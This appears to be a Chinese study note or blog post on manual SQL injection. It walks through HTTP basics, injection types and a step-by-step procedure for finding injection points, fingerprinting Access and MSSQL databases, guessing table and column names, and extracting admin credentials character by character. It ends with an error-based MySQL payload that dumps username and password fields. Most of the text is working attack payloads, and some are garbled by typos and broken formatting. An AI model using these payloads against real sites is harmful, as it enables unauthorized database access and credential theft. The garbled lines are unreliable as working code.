1. 程式人生 > >手工sql註入(重點)

手工sql註入(重點)

erl 無法 content rom 字符串連接 手工 ace 數字型註入 連接

sql 子查詢:() select goods_name from goods where goods_id=(select max(goods_id) from goods)

聯合查詢:select * from boy union select *from girl select 查庫 11,hid,bname from boy union select uid,name,age

from user

information_schema

http 協議

tcp 1-65535

udp 1-65535

防火墻

8044353

HTTP 針對web的攻擊

Web: 前端+後端+數據庫

前端 :用戶交易 html (標簽語言),css(樣式表),Javascript (動態處理)

通訊 http/ https 協議 **

後端 c -->php / J(javaSP /ASP/ASPX(.NET)

數據庫 :關系型數據庫 MySQL Oracle db2 SqlServer msSQL MongoDB

HTTP

請求request

回復responset

POST /login.php HTTP/1.1 ##請求行

HOST: www.xxx.com(鍵值對,前鍵後值##一行)##請求頭

User-Agent: Mozilla/5.0(windows NT 6.1;rv15.0)Gecko/20100101 firefox/1.5

//空白行,帶表請求頭結束

Username=admin&password=admin //請求正文

HTTP請求對應的是HTTP響應,HTTP響應也是由3部分組成,分別是:響應行響應頭(消息報頭)響應正文(消息主體)

(HTTP頭詳解)ß(配套群裏HTTP頭詳解食用)

HTTP/1.1 200 OK /響應行

Date:Thu,28 Feb 2013 07:36:47 GMT //響應頭

SERVER

Content-Length

….

// 空白行,代表響應頭結束

<html> //響應正文或叫消息主體

<head><title>index.html</title></head>

<html>

**閉合**

SQL註入

原理:用戶對SQL註入語句的可控性,可以輸入數據庫指令,被SQL解釋器執行,導致數據庫被用戶控制

分類:

數字型+字符型

數字型註入多存在於aspphp網站的應用程序中,因為ASP和PHP輸入弱類型語言,例如:參數id=5PHP會自動來推導變量id的類型為int類型語言,那麽id=5 and 1=1 則會推導為string類型,這是弱類型語言的特性;而Javac#這類強類型語言,如果試圖把一個字符串轉換為int類型,處理不當則會拋出異常,無法繼續執行。這方面強類型語言比弱類型語言有先天優勢,所以作為一個合格的程序員,在數據類型處理方面一定要嚴格設置

Id=5 and 1=1

Select * from table where id=8

字符型註入

輸入參數為字符串時

例:

Select * from table where username = ‘ admin ‘

Select * from table where username= ‘ 8’ or 1=1 –‘

Select * from table where username= like ‘%admin%’

http://www.xxx.com/goods.asp?goods_name=N85 ‘ and 1=1

select * from goods where goods_name =‘N85 ‘(淺閉合單引號) and 1=1 or ‘‘‘

只要是字符串則必須單引號閉合以及代碼註釋,無論是select註入,insert註入,或者其他類型的註入

例如update語句:某常見的賣家修改商品名稱的功能,SQL語句如下:update goods set goods_name = ‘ipone X ‘ where goods_id =3;

現在需要對SQL語句註入,這需要閉合,可在name插入語句為’+(select name from users where id=1)+’,最終執行的SQL語句為:

Update goods set goods_name=’ ‘+(select name from users where id=3+’ ‘ where good_id=1;

利用兩次單引號閉合才能完成這一次的閉合

註意:根據數據庫的不同,字符串連接符也不同,如SQLserver連接字符是“+”,Oracle 連接符為“||”,MySQL 連接符為空格

其他分類方法

註入點不同:

- Cookie註入,POST 註入,get註入,搜索型註入

利用的SQL語句不同:

- Update註入,select註入,union註入

註入顯錯方式不同:

- 錯註入,盲註

花式高級

- 延時註入(boolen,二分法),二次註入

註入思路

  1. 判斷是否有註入點
  2. 註入點類型判斷(數字 or 字符 )
  3. 判斷數據庫 AcessMySQLmsSQLOracle,其他)
  4. 查詢有哪些庫(acess可以跳過)
  5. 查詢有哪些表
  6. 查詢某個表有哪些列
  7. 查詢每一條記錄的內容

主信道

80 http HTML

側信道

電源, 空氣,聲音 ,時間* 53 dns協議*SIM卡 ,示波器

不能用等號時

|| 555*666=666*555*1

|| 555*666 in (666*555*1,1);

|| 555*666 like 666*555*1

手工註入

  1. 判斷註入點

(1) and 1=1

(2) and 1=2

  1. 簡單判斷數據庫類型

. and exists(select count(*) from msysobjects)msysobjects表為access特有的,但默認無權限讀取)

and exists(select count*from sysobjects)sysobjectsSQLserver特有的)

0<(select top 1 asc(mid(admin,1,1)) from admin) top2:前兩行)(top 1: 前一行 橫行 參數1從第一位開始取 參數2:取1位字母)

  1. 猜表名稱:

And 0<=(select count(*) from admin) –判斷是否有admin這張表

  1. 猜表中賬戶的數目(行數)

and 0< (select count(*) from admin) –判斷admin這張表裏是否有數據

and 0< (select count(*) from admin) –判斷是否有1條以上的數據

  1. 猜測字段名稱 count括號裏加上我們想到的字段名稱

and 0< (select count(admin) from admin)

  1. 猜各個內容的長度

and (select top 1 asc(mid(admin,1,1)) from admin)>0 說明內容長度大於等於1

and (select top 1 asc(mid(admin,2,1)) from admin)>0 說明內容長度大於等於2

and (select top 1 asc(mid(admin,3,1)) from admin)>0 說明內容長度大於等於3

and (select top 1 asc(mid(admin,6,1)) from admin)>0 說明內容長度大於等於6

and (select top 1 asc(mid(admin,7,1)) from admin)>0 說明內容長度大於等於7

  1. 猜字段內的內容

and (select top 1 asc(mid(字段名,從第幾位開始,取幾個字符)) from admin)>$0$ -不報錯一直測量下去

讀取字段值

Select * from c_content where contented = 3uion select 1from (select count(*),concat(float(rand(0)*100), (select concat(0x7e,username,0x3a,password,0x3a,encrypt,0x7e) from xdcm.s_admin limit 0,1))a from information_schema.tables group by a)b#

手工sql註入(重點)